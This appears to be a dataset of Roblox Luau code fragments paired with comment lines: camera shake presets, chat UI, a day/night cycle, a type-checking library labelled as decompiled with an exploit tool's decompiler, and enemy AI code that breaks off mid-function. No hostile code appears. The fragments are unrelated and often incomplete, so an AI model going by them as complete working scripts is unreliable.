c.PositionInfluence = Vector3.new(0.15, 0.15, 0.15)
c.RotationInfluence = Vector3.new(1, 1, 1)
return c
end;
-- An intense and rough shake.
-- Should happen once.
Explosion = function()
local c = CameraShakeInstance.new(5, 10, 0, 1.5)
c.PositionInfluence = Vector3.new(0.25, 0.25, 0.25)
c.RotationInfluence = Vector3.new(4, 1, 1)
return c
end;
-- A continuous, rough shake
-- Sustained.
Earthquake = function()
local c = CameraShakeInstance.new(0.6, 3.5, 2, 10)
c.PositionInfluence = Vector3.new(0.25, 0.25, 0.25)
c.RotationInfluence = Vector3.new(1, 1, 4)
return c
end;
-- A bizarre shake with a very high magnitude and low roughness.
-- Sustained.
BadTrip = function()
local c = CameraShakeInstance.new(10, 0.15, 5, 10)
c.PositionInfluence = Vector3.new(0, 0, 0.15)
c.RotationInfluence = Vector3.new(2, 1, 4)
return c
end;
-- A subtle, slow shake.
-- Sustained.
HandheldCamera = function()
local c = CameraShakeInstance.new(1, 0.25, 5, 10)
c.PositionInfluence = Vector3.new(0, 0, 0)
c.RotationInfluence = Vector3.new(1, 0.5, 0.5)
return c
end;
-- A very rough, yet low magnitude shake.
-- Sustained.
Vibration = function()
local c = CameraShakeInstance.new(0.4, 20, 2, 2)
c.PositionInfluence = Vector3.new(0, 0.15, 0)
c.RotationInfluence = Vector3.new(1.25, 0, 4)
return c
end;
-- A slightly rough, medium magnitude shake.
-- Sustained.
RoughDriving = function()
local c = CameraShakeInstance.new(1, 2, 1, 1)
c.PositionInfluence = Vector3.new(0, 0, 0)
c.RotationInfluence = Vector3.new(1, 1, 1)
return c
end;
}
return setmetatable({}, {
__index = function(t, i)
local f = CameraShakePresets[i]
if (type(f) == "function") then
return f()
end
error("No preset found with index \"" .. i .. "\"")
end;
})
|
-- Core events
|
ToolChanged = RbxUtility.CreateSignal();
function EquipTool(Tool)
-- Equips and switches to the given tool
-- Unequip current tool
if CurrentTool and CurrentTool.Equipped then
CurrentTool.Unequip();
CurrentTool.Equipped = false;
end;
-- Set `Tool` as current
CurrentTool = Tool;
CurrentTool.Equipped = true;
-- Fire relevant events
ToolChanged:fire(Tool);
-- Equip the tool
Tool.Equip();
end;
function RecolorHandle(Color)
SyncAPI:Invoke('RecolorHandle', Color);
end;
|
--- Makes a type that contains a sequence, e.g. Vector3 or Color3
|
function Util.MakeSequenceType(options)
options = options or {}
assert(options.Parse ~= nil or options.Constructor ~= nil, "MakeSequenceType: Must provide one of: Constructor, Parse")
options.TransformEach = options.TransformEach or function(...)
return ...
end
options.ValidateEach = options.ValidateEach or function()
return true
end
return {
Prefixes = options.Prefixes;
Transform = function (text)
return Util.Map(Util.SplitPrioritizedDelimeter(text, {",", "%s"}), function(value)
return options.TransformEach(value)
end)
end;
Validate = function (components)
if options.Length and #components > options.Length then
return false, ("Maximum of %d values allowed in sequence"):format(options.Length)
end
for i = 1, options.Length or #components do
local valid, reason = options.ValidateEach(components[i], i)
if not valid then
return false, reason
end
end
return true
end;
Parse = options.Parse or function(components)
return options.Constructor(unpack(components))
end
}
end
|
-- dayLength defines how long, in minutes, a day in your game is. Feel free to alter it.
|
local dayLength = 60
local cycleTime = dayLength*60
local minutesInADay = 24*60
local lighting = game:GetService("Lighting")
local startTime = tick() - (lighting:getMinutesAfterMidnight() / minutesInADay)*cycleTime
local endTime = startTime + cycleTime
local timeRatio = minutesInADay / cycleTime
if dayLength == 0 then
dayLength = 1
end
repeat
local currentTime = tick()
if currentTime > endTime then
startTime = endTime
endTime = startTime + cycleTime
end
lighting:setMinutesAfterMidnight((currentTime - startTime)*timeRatio)
wait(1/15)
until false
|
--[=[
Destroy the ServerComm object.
]=]
|
function ServerComm:Destroy()
self._instancesFolder:Destroy()
end
return ServerComm
|
--Made by Stickmasterluke
|
sp = script.Parent
speedboost = 1 --100% speed bonus
speedforsmoke = 10 --smoke apears when character running >= 10 studs/second.
local tooltag = script:WaitForChild("ToolTag",2)
if tooltag~=nil then
local tool=tooltag.Value
local h=sp:FindFirstChild("Humanoid")
if h~=nil then
h.WalkSpeed=16+16*speedboost
local hrp = sp:FindFirstChild("HumanoidRootPart")
if hrp ~= nil then
smokepart=Instance.new("Part")
smokepart.FormFactor="Custom"
smokepart.Size=Vector3.new(0,0,0)
smokepart.TopSurface="Smooth"
smokepart.BottomSurface="Smooth"
smokepart.CanCollide=false
smokepart.Transparency=1
local weld=Instance.new("Weld")
weld.Name="SmokePartWeld"
weld.Part0 = hrp
weld.Part1=smokepart
weld.C0=CFrame.new(0,-3.5,0)*CFrame.Angles(math.pi/4,0,0)
weld.Parent=smokepart
smokepart.Parent=sp
smoke=Instance.new("Smoke")
smoke.Enabled = hrp.Velocity.magnitude>speedforsmoke
smoke.RiseVelocity=2
smoke.Opacity=.25
smoke.Size=.5
smoke.Parent=smokepart
h.Running:connect(function(speed)
if smoke and smoke~=nil then
smoke.Enabled=speed>speedforsmoke
end
end)
end
end
while tool~=nil and tool.Parent==sp and h~=nil do
sp.ChildRemoved:wait()
end
local h=sp:FindFirstChild("Humanoid")
if h~=nil then
h.WalkSpeed=16
end
end
if smokepart~=nil then
smokepart:Destroy()
end
script:Destroy()
|
--// Above was taken directly from Util.GetStringTextBounds() in the old chat corescripts.
|
function methods:GetMessageHeight(BaseMessage, BaseFrame, xSize)
xSize = xSize or BaseFrame.AbsoluteSize.X
local textBoundsSize = self:GetStringTextBounds(BaseMessage.Text, BaseMessage.Font, BaseMessage.TextSize, Vector2.new(xSize, 1000))
return textBoundsSize.Y
end
function methods:GetNumberOfSpaces(str, font, textSize)
local strSize = self:GetStringTextBounds(str, font, textSize)
local singleSpaceSize = self:GetStringTextBounds(" ", font, textSize)
return math.ceil(strSize.X / singleSpaceSize.X)
end
function methods:CreateBaseMessage(message, font, textSize, chatColor)
local BaseFrame = self:GetFromObjectPool("Frame")
BaseFrame.Selectable = false
BaseFrame.Size = UDim2.new(1, 0, 0, 18)
BaseFrame.Visible = true
BaseFrame.BackgroundTransparency = 1
local messageBorder = 8
local BaseMessage = self:GetFromObjectPool("TextLabel")
BaseMessage.Selectable = false
BaseMessage.Size = UDim2.new(1, -(messageBorder + 6), 1, 0)
BaseMessage.Position = UDim2.new(0, messageBorder, 0, 0)
BaseMessage.BackgroundTransparency = 1
BaseMessage.Font = font
BaseMessage.TextSize = textSize
BaseMessage.TextXAlignment = Enum.TextXAlignment.Left
BaseMessage.TextYAlignment = Enum.TextYAlignment.Top
BaseMessage.TextTransparency = 0
BaseMessage.TextStrokeTransparency = 0.75
BaseMessage.TextColor3 = chatColor
BaseMessage.TextWrapped = true
BaseMessage.Text = message
BaseMessage.Visible = true
BaseMessage.Parent = BaseFrame
return BaseFrame, BaseMessage
end
function methods:AddNameButtonToBaseMessage(BaseMessage, nameColor, formatName, playerName)
local speakerNameSize = self:GetStringTextBounds(formatName, BaseMessage.Font, BaseMessage.TextSize)
local NameButton = self:GetFromObjectPool("TextButton")
NameButton.Selectable = false
NameButton.Size = UDim2.new(0, speakerNameSize.X, 0, speakerNameSize.Y)
NameButton.Position = UDim2.new(0, 0, 0, 0)
NameButton.BackgroundTransparency = 1
NameButton.Font = BaseMessage.Font
NameButton.TextSize = BaseMessage.TextSize
NameButton.TextXAlignment = BaseMessage.TextXAlignment
NameButton.TextYAlignment = BaseMessage.TextYAlignment
NameButton.TextTransparency = BaseMessage.TextTransparency
NameButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
NameButton.TextColor3 = nameColor
NameButton.Text = formatName
NameButton.Visible = true
NameButton.Parent = BaseMessage
local clickedConn = NameButton.MouseButton1Click:connect(function()
self:NameButtonClicked(NameButton, playerName)
end)
local changedConn = nil
changedConn = NameButton.Changed:connect(function(prop)
if prop == "Parent" then
clickedConn:Disconnect()
changedConn:Disconnect()
end
end)
return NameButton
end
function methods:AddChannelButtonToBaseMessage(BaseMessage, channelColor, formatChannelName, channelName)
local channelNameSize = self:GetStringTextBounds(formatChannelName, BaseMessage.Font, BaseMessage.TextSize)
local ChannelButton = self:GetFromObjectPool("TextButton")
ChannelButton.Selectable = false
ChannelButton.Size = UDim2.new(0, channelNameSize.X, 0, channelNameSize.Y)
ChannelButton.Position = UDim2.new(0, 0, 0, 0)
ChannelButton.BackgroundTransparency = 1
ChannelButton.Font = BaseMessage.Font
ChannelButton.TextSize = BaseMessage.TextSize
ChannelButton.TextXAlignment = BaseMessage.TextXAlignment
ChannelButton.TextYAlignment = BaseMessage.TextYAlignment
ChannelButton.TextTransparency = BaseMessage.TextTransparency
ChannelButton.TextStrokeTransparency = BaseMessage.TextStrokeTransparency
ChannelButton.TextColor3 = channelColor
ChannelButton.Text = formatChannelName
ChannelButton.Visible = true
ChannelButton.Parent = BaseMessage
local clickedConn = ChannelButton.MouseButton1Click:connect(function()
self:ChannelButtonClicked(ChannelButton, channelName)
end)
local changedConn = nil
changedConn = ChannelButton.Changed:connect(function(prop)
if prop == "Parent" then
clickedConn:Disconnect()
changedConn:Disconnect()
end
end)
return ChannelButton
end
function GetWhisperChannelPrefix()
if ChatConstants.WhisperChannelPrefix then
return ChatConstants.WhisperChannelPrefix
end
return "To "
end
function methods:NameButtonClicked(nameButton, playerName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnPlayerNameToWhisper then
local player = Players:FindFirstChild(playerName)
if player and player ~= LocalPlayer then
local whisperChannel = GetWhisperChannelPrefix() ..playerName
if self.ChatWindow:GetChannel(whisperChannel) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= whisperChannel then
self.ChatWindow:SwitchCurrentChannel(whisperChannel)
end
self.ChatBar:ResetText()
self.ChatBar:CaptureFocus()
elseif not self.ChatBar:IsInCustomState() then
local whisperMessage = "/w " ..playerName
self.ChatBar:CaptureFocus()
self.ChatBar:SetText(whisperMessage)
end
end
end
end
function methods:ChannelButtonClicked(channelButton, channelName)
if not self.ChatWindow then
return
end
if ChatSettings.ClickOnChannelNameToSetMainChannel then
if self.ChatWindow:GetChannel(channelName) then
self.ChatBar:ResetCustomState()
local targetChannelName = self.ChatWindow:GetTargetMessageChannel()
if targetChannelName ~= channelName then
self.ChatWindow:SwitchCurrentChannel(channelName)
end
self.ChatBar:ResetText()
self.ChatBar:CaptureFocus()
end
end
end
function methods:RegisterChatWindow(chatWindow)
self.ChatWindow = chatWindow
self.ChatBar = chatWindow:GetChatBar()
end
function methods:GetFromObjectPool(className)
if self.ObjectPool == nil then
return Instance.new(className)
end
return self.ObjectPool:GetInstance(className)
end
function methods:RegisterObjectPool(objectPool)
self.ObjectPool = objectPool
end
|
-- Create AdminTools if it doesn't exist
|
if not AdminTools then
AdminTools = Instance.new('Model')
AdminTools.Name = 'AdminTools'
-- Load all of the assets in ToolAssetsToLoad and put them in AdminTools
for _, intObject in pairs(ToolAssetsToLoad:GetChildren()) do
if intObject and intObject:IsA('IntValue') and intObject.Value then
local assetModel = InsertService:LoadAsset(intObject.Value)
if assetModel then
local asset = assetModel:GetChildren()[1]
if asset then
asset.Parent = AdminTools
end
end
end
end
AdminTools.Parent = LightingService
end
PlayersService.PlayerAdded:connect(OnPlayerAdded)
|
-- / ga / --
|
local ga = game.ServerStorage.GA
local models = ga.Models
|
-- Alias function to automatically error out for invalid types.
|
local function MandateType(value, type, paramName, nullable)
if nullable and value == nil then return end
assert(typeof(value) == type, ERR_INVALID_TYPE:format(paramName or "ERR_NO_PARAM_NAME", type, typeof(value)))
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {
type = function(p1)
return function(p2)
local v2 = type(p2);
if v2 == p1 then
return true;
end;
return false, string.format("%s expected, got %s", p1, v2);
end;
end,
typeof = function(p3)
return function(p4)
local v3 = typeof(p4);
if v3 == p3 then
return true;
end;
return false, string.format("%s expected, got %s", p3, v3);
end;
end,
any = function(p5)
if p5 ~= nil then
return true;
end;
return false, "any expected, got nil";
end
};
v1.boolean = v1.typeof("boolean");
v1.thread = v1.typeof("thread");
v1.callback = v1.typeof("function");
v1["function"] = v1.callback;
v1.none = v1.typeof("nil");
v1.nil = v1.none;
v1.string = v1.typeof("string");
v1.table = v1.typeof("table");
v1.userdata = v1.type("userdata");
function v1.number(p6)
local v4 = typeof(p6);
if v4 ~= "number" then
return false, string.format("number expected, got %s", v4);
end;
if p6 == p6 then
return true;
end;
return false, "unexpected NaN value";
end;
function v1.nan(p7)
local v5 = typeof(p7);
if v5 ~= "number" then
return false, string.format("number expected, got %s", v5);
end;
if p7 ~= p7 then
return true;
end;
return false, "unexpected non-NaN value";
end;
v1.Axes = v1.typeof("Axes");
v1.BrickColor = v1.typeof("BrickColor");
v1.CatalogSearchParams = v1.typeof("CatalogSearchParams");
v1.CFrame = v1.typeof("CFrame");
v1.Color3 = v1.typeof("Color3");
v1.ColorSequence = v1.typeof("ColorSequence");
v1.ColorSequenceKeypoint = v1.typeof("ColorSequenceKeypoint");
v1.DateTime = v1.typeof("DateTime");
v1.DockWidgetPluginGuiInfo = v1.typeof("DockWidgetPluginGuiInfo");
v1.Enum = v1.typeof("Enum");
v1.EnumItem = v1.typeof("EnumItem");
v1.Enums = v1.typeof("Enums");
v1.Faces = v1.typeof("Faces");
v1.Instance = v1.typeof("Instance");
v1.NumberRange = v1.typeof("NumberRange");
v1.NumberSequence = v1.typeof("NumberSequence");
v1.NumberSequenceKeypoint = v1.typeof("NumberSequenceKeypoint");
v1.PathWaypoint = v1.typeof("PathWaypoint");
v1.PhysicalProperties = v1.typeof("PhysicalProperties");
v1.Random = v1.typeof("Random");
v1.Ray = v1.typeof("Ray");
v1.RaycastParams = v1.typeof("RaycastParams");
v1.RaycastResult = v1.typeof("RaycastResult");
v1.RBXScriptConnection = v1.typeof("RBXScriptConnection");
v1.RBXScriptSignal = v1.typeof("RBXScriptSignal");
v1.Rect = v1.typeof("Rect");
v1.Region3 = v1.typeof("Region3");
v1.Region3int16 = v1.typeof("Region3int16");
v1.TweenInfo = v1.typeof("TweenInfo");
v1.UDim = v1.typeof("UDim");
v1.UDim2 = v1.typeof("UDim2");
v1.Vector2 = v1.typeof("Vector2");
v1.Vector2int16 = v1.typeof("Vector2int16");
v1.Vector3 = v1.typeof("Vector3");
v1.Vector3int16 = v1.typeof("Vector3int16");
function v1.literal(...)
local v6 = select("#", ...);
if v6 == 1 then
local u1 = ...;
return function(p8)
if p8 == u1 then
return true;
end;
return false, string.format("expected %s, got %s", tostring(u1), tostring(p8));
end;
end;
local v7 = {};
for v8 = 1, v6 do
v7[v8] = v1.literal((select(v8, ...)));
end;
return v1.union(table.unpack(v7, 1, v6));
end;
v1.exactly = v1.literal;
function v1.keyOf(p9)
local v9 = {};
local v10 = 0;
for v11 in pairs(p9) do
v10 = v10 + 1;
v9[v10] = v11;
end;
return v1.literal(table.unpack(v9, 1, v10));
end;
function v1.valueOf(p10)
local v12 = {};
local v13 = 0;
for v14, v15 in pairs(p10) do
v13 = v13 + 1;
v12[v13] = v15;
end;
return v1.literal(table.unpack(v12, 1, v13));
end;
function v1.integer(p11)
local v16, v17 = v1.number(p11);
if not v16 then
return false, v17 and "";
end;
if p11 % 1 == 0 then
return true;
end;
return false, string.format("integer expected, got %s", p11);
end;
function v1.numberMin(p12)
return function(p13)
local v18, v19 = v1.number(p13);
if not v18 then
return false, v19 and "";
end;
if p12 <= p13 then
return true;
end;
return false, string.format("number >= %s expected, got %s", p12, p13);
end;
end;
function v1.numberMax(p14)
return function(p15)
local v20, v21 = v1.number(p15);
if not v20 then
return false, v21;
end;
if p15 <= p14 then
return true;
end;
return false, string.format("number <= %s expected, got %s", p14, p15);
end;
end;
function v1.numberMinExclusive(p16)
return function(p17)
local v22, v23 = v1.number(p17);
if not v22 then
return false, v23 and "";
end;
if p16 < p17 then
return true;
end;
return false, string.format("number > %s expected, got %s", p16, p17);
end;
end;
function v1.numberMaxExclusive(p18)
return function(p19)
local v24, v25 = v1.number(p19);
if not v24 then
return false, v25 and "";
end;
if p19 < p18 then
return true;
end;
return false, string.format("number < %s expected, got %s", p18, p19);
end;
end;
v1.numberPositive = v1.numberMinExclusive(0);
v1.numberNegative = v1.numberMaxExclusive(0);
function v1.numberConstrained(p20, p21)
assert(v1.number(p20));
assert(v1.number(p21));
local u2 = v1.numberMin(p20);
local u3 = v1.numberMax(p21);
return function(p22)
local v26, v27 = u2(p22);
if not v26 then
return false, v27 and "";
end;
local v28, v29 = u3(p22);
if v28 then
return true;
end;
return false, v29 and "";
end;
end;
function v1.numberConstrainedExclusive(p23, p24)
assert(v1.number(p23));
assert(v1.number(p24));
local u4 = v1.numberMinExclusive(p23);
local u5 = v1.numberMaxExclusive(p24);
return function(p25)
local v30, v31 = u4(p25);
if not v30 then
return false, v31 and "";
end;
local v32, v33 = u5(p25);
if v32 then
return true;
end;
return false, v33 and "";
end;
end;
function v1.match(p26)
assert(v1.string(p26));
return function(p27)
local v34, v35 = v1.string(p27);
if not v34 then
return false, v35;
end;
if string.match(p27, p26) ~= nil then
return true;
end;
return false, string.format("%q failed to match pattern %q", p27, p26);
end;
end;
function v1.optional(p28)
assert(v1.callback(p28));
return function(p29)
if p29 == nil then
return true;
end;
local v36, v37 = p28(p29);
if v36 then
return true;
end;
return false, string.format("(optional) %s", v37 and "");
end;
end;
function v1.tuple(...)
local u6 = { ... };
return function(...)
local v38 = { ... };
local v39, v40, v41 = ipairs(u6);
while true do
v39(v40, v41);
if not v39 then
break;
end;
v41 = v39;
local v42, v43 = v40(v38[v39]);
if v42 == false then
return false, string.format("Bad tuple index #%s:\n\t%s", v39, v43 and "");
end;
end;
return true;
end;
end;
function v1.keys(p30)
assert(v1.callback(p30));
return function(p31)
local v44, v45 = v1.table(p31);
if v44 == false then
return false, v45 and "";
end;
for v46 in pairs(p31) do
local v47, v48 = p30(v46);
if v47 == false then
return false, string.format("bad key %s:\n\t%s", tostring(v46), v48 and "");
end;
end;
return true;
end;
end;
function v1.values(p32)
assert(v1.callback(p32));
return function(p33)
local v49, v50 = v1.table(p33);
if v49 == false then
return false, v50 and "";
end;
for v51, v52 in pairs(p33) do
local v53, v54 = p32(v52);
if v53 == false then
return false, string.format("bad value for key %s:\n\t%s", tostring(v51), v54 and "");
end;
end;
return true;
end;
end;
function v1.map(p34, p35)
assert(v1.callback(p34));
assert(v1.callback(p35));
local u7 = v1.keys(p34);
local u8 = v1.values(p35);
return function(p36)
local v55, v56 = u7(p36);
if not v55 then
return false, v56 and "";
end;
local v57, v58 = u8(p36);
if v57 then
return true;
end;
return false, v58 and "";
end;
end;
function v1.set(p37)
return v1.map(p37, v1.literal(true));
end;
local u9 = v1.keys(v1.integer);
function v1.array(p38)
assert(v1.callback(p38));
local u10 = v1.values(p38);
return function(p39)
local v59, v60 = u9(p39);
if v59 == false then
return false, string.format("[array] %s", v60 and "");
end;
local v61 = 0;
local v62, v63, v64 = ipairs(p39);
while true do
v62(v63, v64);
if not v62 then
break;
end;
v64 = v62;
v61 = v61 + 1;
end;
for v65 in pairs(p39) do
if v65 < 1 then
return false, string.format("[array] key %s must be sequential", tostring(v65));
end;
if v61 < v65 then
return false, string.format("[array] key %s must be sequential", tostring(v65));
end;
end;
local v66, v67 = u10(p39);
if v66 then
return true;
end;
return false, string.format("[array] %s", v67 and "");
end;
end;
function v1.strictArray(...)
local v68 = { ... };
assert(v1.array(v1.callback)(v68));
return function(p40)
local v69, v70 = u9(p40);
if v69 == false then
return false, string.format("[strictArray] %s", v70 and "");
end;
if #v68 < #p40 then
return false, string.format("[strictArray] Array size exceeds limit of %d", #v68);
end;
for v71, v72 in pairs(v68) do
local v73, v74 = v72(p40[v71]);
if not v73 then
return false, string.format("[strictArray] Array index #%d - %s", v71, v74);
end;
end;
return true;
end;
end;
u9 = v1.array;
u9 = u9(v1.callback);
function v1.union(...)
local v75 = { ... };
assert(u9(v75));
return function(p41)
local v76, v77, v78 = ipairs(v75);
while true do
v76(v77, v78);
if not v76 then
break;
end;
v78 = v76;
if v77(p41) then
return true;
end;
end;
return false, "bad type for union";
end;
end;
v1.some = v1.union;
function v1.intersection(...)
local v79 = { ... };
assert(u9(v79));
return function(p42)
local v80, v81, v82 = ipairs(v79);
while true do
v80(v81, v82);
if not v80 then
break;
end;
v82 = v80;
local v83, v84 = v81(p42);
if not v83 then
return false, v84 and "";
end;
end;
return true;
end;
end;
v1.every = v1.intersection;
u9 = v1.map;
u9 = u9(v1.any, v1.callback);
function v1.interface(p43)
assert(u9(p43));
return function(p44)
local v85, v86 = v1.table(p44);
if v85 == false then
return false, v86 and "";
end;
for v87, v88 in pairs(p43) do
local v89, v90 = v88(p44[v87]);
if v89 == false then
return false, string.format("[interface] bad value for %s:\n\t%s", tostring(v87), v90 and "");
end;
end;
return true;
end;
end;
function v1.strictInterface(p45)
assert(u9(p45));
return function(p46)
local v91, v92 = v1.table(p46);
if v91 == false then
return false, v92 and "";
end;
for v93, v94 in pairs(p45) do
local v95, v96 = v94(p46[v93]);
if v95 == false then
return false, string.format("[interface] bad value for %s:\n\t%s", tostring(v93), v96 and "");
end;
end;
for v97 in pairs(p46) do
if not p45[v97] then
return false, string.format("[interface] unexpected field %q", tostring(v97));
end;
end;
return true;
end;
end;
u9 = function(p47, p48)
assert(v1.string(p47));
local v98 = nil;
if p48 ~= nil then
v98 = v1.children(p48);
end;
return function(p49)
local v99, v100 = v1.Instance(p49);
if not v99 then
return false, v100 and "";
end;
if p49.ClassName ~= p47 then
return false, string.format("%s expected, got %s", p47, p49.ClassName);
end;
if v98 then
local v101, v102 = v98(p49);
if not v101 then
return false, v102;
end;
end;
return true;
end;
end;
v1.instanceOf = u9;
u9 = v1.instanceOf;
v1.instance = u9;
u9 = function(p50, p51)
assert(v1.string(p50));
local v103 = nil;
if p51 ~= nil then
v103 = v1.children(p51);
end;
return function(p52)
local v104, v105 = v1.Instance(p52);
if not v104 then
return false, v105 and "";
end;
if not p52:IsA(p50) then
return false, string.format("%s expected, got %s", p50, p52.ClassName);
end;
if v103 then
local v106, v107 = v103(p52);
if not v106 then
return false, v107;
end;
end;
return true;
end;
end;
v1.instanceIsA = u9;
u9 = function(p53)
assert(v1.Enum(p53));
return function(p54)
local v108, v109 = v1.EnumItem(p54);
if not v108 then
return false, v109;
end;
if p54.EnumType == p53 then
return true;
end;
return false, string.format("enum of %s expected, got enum of %s", tostring(p53), tostring(p54.EnumType));
end;
end;
v1.enum = u9;
u9 = v1.tuple;
u9 = u9(v1.callback, v1.callback);
function v1.wrap(p55, p56)
assert(u9(p55, p56));
return function(...)
assert(p56(...));
return p55(...);
end;
end;
u9 = function(p57)
return function(...)
assert(p57(...));
end;
end;
v1.strict = u9;
u9 = v1.map;
u9 = u9(v1.string, v1.callback);
function v1.children(p58)
assert(u9(p58));
return function(p59)
local v110, v111 = v1.Instance(p59);
if not v110 then
return false, v111 and "";
end;
local v112 = {};
local v113, v114, v115 = ipairs(p59:GetChildren());
while true do
v113(v114, v115);
if not v113 then
break;
end;
v115 = v113;
local l__Name__116 = v114.Name;
if p58[l__Name__116] then
if v112[l__Name__116] then
return false, string.format("Cannot process multiple children with the same name %q", l__Name__116);
end;
v112[l__Name__116] = v114;
end;
end;
for v117, v118 in pairs(p58) do
local v119, v120 = v118(v112[v117]);
if not v119 then
return false, string.format("[%s.%s] %s", p59:GetFullName(), v117, v120 and "");
end;
end;
return true;
end;
end;
return v1;
|
-- Stores useful information about Luau errors.
|
export type Error = {
type: string, -- replace with "Error" when Luau supports singleton types
raw: string,
message: string,
trace: string
}
|
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
|
local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
local PreloadAnimsUserFlag = false
local PreloadedAnims = {}
local successPreloadAnim, msgPreloadAnim = pcall(function()
PreloadAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserPreloadAnimations")
end)
if not successPreloadAnim then
PreloadAnimsUserFlag = false
end
math.randomseed(tick())
function findExistingAnimationInSet(set, anim)
if set == nil or anim == nil then
return 0
end
for idx = 1, set.count, 1 do
if set[idx].anim.AnimationId == anim.AnimationId then
return idx
end
end
return 0
end
function configureAnimationSet(name, fileList)
if (animTable[name] ~= nil) then
for _, connection in pairs(animTable[name].connections) do
connection:disconnect()
end
end
animTable[name] = {}
animTable[name].count = 0
animTable[name].totalWeight = 0
animTable[name].connections = {}
local allowCustomAnimations = true
local AllowDisableCustomAnimsUserFlag = false
local success, msg = pcall(function()
AllowDisableCustomAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserAllowDisableCustomAnims2")
end)
if (AllowDisableCustomAnimsUserFlag) then
local success, msg = pcall(function() allowCustomAnimations = game:GetService("StarterPlayer").AllowCustomAnimations end)
if not success then
allowCustomAnimations = true
end
end
-- check for config values
local config = script:FindFirstChild(name)
if (allowCustomAnimations and config ~= nil) then
table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
local idx = 0
for _, childPart in pairs(config:GetChildren()) do
if (childPart:IsA("Animation")) then
local newWeight = 1
local weightObject = childPart:FindFirstChild("Weight")
if (weightObject ~= nil) then
newWeight = weightObject.Value
end
animTable[name].count = animTable[name].count + 1
idx = animTable[name].count
animTable[name][idx] = {}
animTable[name][idx].anim = childPart
animTable[name][idx].weight = newWeight
animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, childPart.ChildAdded:connect(function(property) configureAnimationSet(name, fileList) end))
table.insert(animTable[name].connections, childPart.ChildRemoved:connect(function(property) configureAnimationSet(name, fileList) end))
end
end
end
-- fallback to defaults
if (animTable[name].count <= 0) then
for idx, anim in pairs(fileList) do
animTable[name][idx] = {}
animTable[name][idx].anim = Instance.new("Animation")
animTable[name][idx].anim.Name = name
animTable[name][idx].anim.AnimationId = anim.id
animTable[name][idx].weight = anim.weight
animTable[name].count = animTable[name].count + 1
animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
end
end
-- preload anims
if PreloadAnimsUserFlag then
for i, animType in pairs(animTable) do
for idx = 1, animType.count, 1 do
if PreloadedAnims[animType[idx].anim.AnimationId] == nil then
Humanoid:LoadAnimation(animType[idx].anim)
PreloadedAnims[animType[idx].anim.AnimationId] = true
end
end
end
end
end
|
--to do
--go towards boxes
--account for arrows and paladins
--account for boss size
|
local MoveDirections = {Vector3.new(5,0,0),Vector3.new(-5,0,0),Vector3.new(0,0,5),Vector3.new(0,0,-5)}
local GasDirections = {Vector3.new(5,0,0),Vector3.new(-5,0,0),Vector3.new(0,0,5),Vector3.new(0,0,-5),Vector3.new(5,0,5),Vector3.new(-5,0,5),Vector3.new(5,0,-5),Vector3.new(-5,0,-5)}
return function(Map)
local Pathfinding = require(game.ReplicatedStorage.PathfindFunctions)(Map)
local Movement = require(game.ReplicatedStorage.EnemyAi.Movement)(Map)
local Self = {}
local ExploredPositions = {}
local OutsidePositions = {}
Self.CheckSquare = function(Position)
if table.find(Map,Vector3.new(Position.X, 0, Position.Z)) then
return true
end
return false
end
Self.GetDangerSpots = function(Enemies)
local Spots = {}
for i, Enemy in pairs (Enemies) do
if Enemy.IsAttacking then
for i, v in pairs(MoveDirections) do
table.insert(Spots, Enemy.Position - Vector3.new(0, Enemy.Position.Y) + v)
end
end
end
for i, Projectile in pairs(workspace.ActiveProjectiles:GetChildren()) do
local NewPos = Projectile.PrimaryPart.Position + Projectile.MoveDirection.Value
local FlooredSpot = Vector3.new(math.floor(NewPos.X/5)*5, 0,math.floor(NewPos.Z/5)*5)
table.insert(Spots, FlooredSpot)
end
for i, Trap in pairs(workspace.ActiveTraps:GetChildren()) do
table.insert(Spots, Trap.PrimaryPart.Position)
if Trap.PrimaryPart.Size.X >= 12 then
for i, v in pairs(GasDirections) do
table.insert(Spots, Trap.PrimaryPart.Position + v)
end
end
end
return Spots
end
Self.GetAttackersOfSpot = function(Position)
local Attackers = {}
for i, Model in pairs(workspace.ActiveEnemies:GetChildren()) do
if (Model.PrimaryPart.Position - Position).Magnitude <= 7 then
table.insert(Attackers, Model)
end
end
return Attackers
end
Self.GetEnemies = function()
local EnemyTable = {}
for i ,v in pairs(workspace.ActiveEnemies:GetChildren()) do
local SpotData = {}
SpotData.Position = v.PrimaryPart.Position
SpotData.IsAttacking = v.PrimaryPart.BrickColor == BrickColor.new("Really red")
table.insert(EnemyTable, SpotData)
end
return EnemyTable
end
Self.GetEnemyAtPosition = function(Position, EnemyTable)
for i, v in pairs(EnemyTable) do
if Vector3.new(v.Position.X, 0, v.Position.Z) == Vector3.new(Position.X, 0, Position.Z) then
return v
end
end
return false
end
Self.CheckIfDangerSpot = function(Position, DangerSpots)
for i, v in pairs(DangerSpots) do
if Vector3.new(v.X, 0, v.Z) == Vector3.new(Position.X, 0, Position.Z) then
return v
end
end
return false
end
Self.GetBestCostingSpot = function(Spots)
local BestCost = -math.huge
local BestSpots = {}
for i, v in pairs(Spots) do
if v.Cost > BestCost then
BestCost = v.Cost
BestSpots = {}
table.insert(BestSpots, v)
elseif v.Cost == BestCost then
table.insert(BestSpots, v)
end
end
return BestSpots[math.random(1, #BestSpots)]
end
Self.PositionReachedAmount = function(Position)
local Amount = 0
for i, v in pairs(ExploredPositions) do
if Vector3.new(v.X, 0, v.Z) == Position - Vector3.new(Position.Y) then
Amount += 1
end
end
return Amount
end
Self.UpdateEnemies = function(EnemyTable)
local NewTable = {}
for i, v in pairs(EnemyTable) do
if v.IsAttacking then
local MoveDirection = Movement.GetNearestPlayerDirection(v.Position, false, false, nil, true)
local NewData = {}
